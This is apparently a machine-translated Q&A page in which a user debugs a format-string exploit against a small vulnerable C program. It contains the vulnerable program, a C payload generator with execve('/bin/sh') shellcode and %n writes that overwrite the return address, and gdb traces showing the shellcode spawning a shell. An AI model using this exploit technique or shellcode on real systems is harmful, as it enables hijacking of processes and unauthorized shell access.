格式化string错误 – 利用

我试图利用我的格式string错误,这是在这个程序中:

#include <sys/types.h> #include <sys/uio.h> #include <unistd.h> #include <stdio.h> #include <string.h> void foo(char* tmp, char* format) { /* write into tmp a string formated as the format argument specifies */ sprintf(tmp, format); /* just print the tmp buffer */ printf("%s", tmp); } int main(int argc, char** argv) { char tmp[512]; char format[512]; while(1) { /* fill memory with constant byte */ memset(format, '\0', 512); /* read at most 512 bytes into format */ read(0, format, 512); /* compare two strings */ if (!strncmp(format, "exit", 4)) break; foo(tmp, format); } return 0; } 

堆栈看起来像这样:

 Low Memory Addresses before printf before sprintf function function ----------------------- | 0xbffff258 | - ----------------------- ----------------------- |--- arguments to printf/sprintf | 0xbffff258 | | 0xbffff058 | - ----------------------- ----------------------- | 0xbffff458 | (saved EBP) ----------------------- | 0x08048528 | (return address to main - EIP) ----------------------- | 0xbffff258 | (pointer to tmp) ----------------------- | 0xbffff058 | (pointer to format) ----------------------- | 0x00000004 | (constant 4) ----------------------- | format[0] | (starts at 0xbffff058) ----------------------- | format[511] | ----------------------- | tmp[0] | (starts at 0xbffff258) ----------------------- | tmp[511] | ----------------------- High Memory Addresses 

所以基本的想法是编写一个%x,%n,…的序列并把它传给程序。 我用来build立inputstring的程序是:

 #include <sys/types.h> #include <sys/uio.h> #include <unistd.h> #include <stdio.h> #include <unistd.h> #include <string.h> char shellcode[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; main() { char b0[255]; char b1[255]; char b2[255]; char b3[255]; char b4[1024]; char buffer[512]; memset(b0, 0, 255); memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 'A', 1024); memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode memset(b1, 'A', 0xf0 - 0x68); memset(b2, 'A', 0xff - 0xf0); memset(b3, 'A', 0x1bf - 0xff); printf("\x48\xf0\xff\xbf" "\x49\xf0\xff\xbf" "\x4a\xf0\xff\xbf" "\x4b\xf0\xff\xbf" "%s" "%s" "%%6$n" "%s" "%%7$n" "%s" "%%8$n" "%s" "%%9$n" ,shellcode, b0, b1, b2, b3); } 

我们可以看到我覆盖了地址:0xbffff048,0xbffff049,0xbffff04a,0xbffff04b,其中包含以下hex数:0x68,0xf0,0xff,0x1bf,它给了我们地址:0xbffff068(这是shellcode在内存中的地址) 。 所以这个想法是用这个地址覆盖0x08048528(EIP),所以当函数返回时它会跳转到那个地址。

我已经完成了这一切,并与debugging器检查,这一切都很好。 但是我仍然从/lib/libc.so.6得到vfprintf()中的分段错误。

有谁知道发生了什么事。 我搞砸了吗?

谢谢

Solutions Collecting From Web of "格式化string错误 – 利用"

完全重写

  1. 好的,所以你的堆栈是可执行的。 好。
  2. 您应该尝试禁用堆栈地址随机化。
  3. 这似乎是x86,但这种信息应该被添加到这个问题。

地址有一点变化,但我已经做了你告诉我的,我已经使用了stepi,结果是:

在strcpy之后,内存如下所示:

 (gdb) x/50x $esp 0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050 0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030 0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb 0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141 0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625 0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141 

我们可以看到跳转到的地址现在是0xbffff050,这是正确的(存在我们的shellcode)。

然后我执行stepi:

 (gdb) i reg $eip eip 0x804846c 0x804846c <foo+24> (gdb) stepi 0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13 13 } 

让我们分析一下:

 (gdb) i reg $eip eip 0x804846d 0x804846d <foo+25> (gdb) x/4i $eip => 0x804846d <foo+25>: ret 0x804846e <main>: push ebp 0x804846f <main+1>: mov ebp,esp 0x8048471 <main+3>: sub esp,0x414 

好吧,如果我再做一个stepi,那么应该执行返回并执行跳转地址:0xbffff050。

再stepi执行return:

 (gdb) stepi 0xbffff050 in ?? () (gdb) x/4i $eip => 0xbffff050: jmp 0xbffff06c 0xbffff052: pop esi 0xbffff053: xor eax,eax 0xbffff055: mov BYTE PTR [esi+0x7],al 0xbffff058: lea ebx,[esi] 0xbffff05a: mov DWORD PTR [esi+0x8],ebx 0xbffff05d: mov DWORD PTR [esi+0xc],eax 0xbffff060: mov al,0xb (gdb) i reg $eip eip 0xbffff050 0xbffff050 

确定它试图跳到0xbffff050,但没有成功或什么? EIP仍然是0xbffff050。

内存看起来像:

 (gdb) x/50x 0xbffff024 0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050 0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030 0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb 0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141 0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625 0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141 

我没有使用$ esp来显示内存,因为它已经从0xbffff024更改为0xbffff034。

好吧,让我们跳到0xbffff06c(这是shellcode的开始):

 (gdb) stepi 0xbffff06c in ?? () (gdb) x/4i $eip => 0xbffff06c: call 0xbffff052 

好的,我们来调用0xbffff052:

 (gdb) stepi 0xbffff052 in ?? () (gdb) x/4i $eip => 0xbffff052: pop esi 0xbffff053: xor eax,eax 0xbffff055: mov BYTE PTR [esi+0x7],al 0xbffff058: lea ebx,[esi] 

让我们把ESI寄存器与前一个调用的返回地址一起存储:

 (gdb) stepi 0xbffff053 in ?? () (gdb) x/4i $eip => 0xbffff053: xor eax,eax 0xbffff055: mov BYTE PTR [esi+0x7],al 0xbffff058: lea ebx,[esi] 0xbffff05a: mov DWORD PTR [esi+0x8],ebx (gdb) i reg $esi esi 0xbffff071 -1073745807 

我们将EAX设置为0:

 (gdb) stepi 0xbffff055 in ?? () (gdb) i reg $eax eax 0x0 0 

让我们在内存中的位置写入null:

 (gdb) x/4i $eip => 0xbffff055: mov BYTE PTR [esi+0x7],al 0xbffff058: lea ebx,[esi] 0xbffff05a: mov DWORD PTR [esi+0x8],ebx 0xbffff05d: mov DWORD PTR [esi+0xc],eax (gdb) x/20x $esp before: 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141 after: 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0x41414100 0x41414141 0x4141414 

执行LEA指令:

 (gdb) x/4i $eip => 0xbffff058: lea ebx,[esi] 0xbffff05a: mov DWORD PTR [esi+0x8],ebx 0xbffff05d: mov DWORD PTR [esi+0xc],eax 0xbffff060: mov al,0xb (gdb) x/x $esi 0xbffff071: 0x6e69622f (gdb) x/x $ebx 0x29aff4: 0x00158d7c (gdb) stepi 0xbffff05a in ?? () (gdb) x/x $ebx 0xbffff071: 0x6e69622f 

另一个记忆变化:

 (gdb) x/4i $eip => 0xbffff05a: mov DWORD PTR [esi+0x8],ebx 0xbffff05d: mov DWORD PTR [esi+0xc],eax 0xbffff060: mov al,0xb 0xbffff062: mov ebx,esi (gdb) stepi 0xbffff05d in ?? () (gdb) stepi 0xbffff060 in ?? () (gdb) x/40x $esp 0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff 0xbffff074: 0x68732f6e 0xfff07100 0x000000bf 0x41414100 

用系统调用填充EAX:

 (gdb) x/4i $eip => 0xbffff060: mov al,0xb 0xbffff062: mov ebx,esi 0xbffff064: lea ecx,[esi+0x8] 0xbffff067: lea edx,[esi+0xc] (gdb) i reg $eax eax 0x0 0 (gdb) stepi 0xbffff062 in ?? () (gdb) i reg $eax eax 0xb 11 

填写ebx,ecx,edx:

 (gdb) x/4i $eip => 0xbffff062: mov ebx,esi 0xbffff064: lea ecx,[esi+0x8] 0xbffff067: lea edx,[esi+0xc] 0xbffff06a: int 0x80 (gdb) stepi 0xbffff064 in ?? () (gdb) stepi 0xbffff067 in ?? () (gdb) stepi 0xbffff06a in ?? () (gdb) i reg $eax $ebx $ecx $edx eax 0xb 11 ebx 0xbffff071 -1073745807 ecx 0xbffff079 -1073745799 edx 0xbffff07d -1073745795 

执行int指令:

 (gdb) x/4i $eip => 0xbffff06a: int 0x80 0xbffff06c: call 0xbffff052 0xbffff071: das 0xbffff072: bound ebp,QWORD PTR [ecx+0x6e] (gdb) stepi process 2863 is executing new program: /bin/dash Program exited normally. 

另一个步骤:

 (gdb) stepi The program is not being run. 

所以我想没有错误,它的作品。 但问题是,当我正常启动程序时,我只是没有得到/ bin / dash控制台。 古怪的是,进程2863刚刚退出…没有在gdb的shell提示? 有任何想法吗?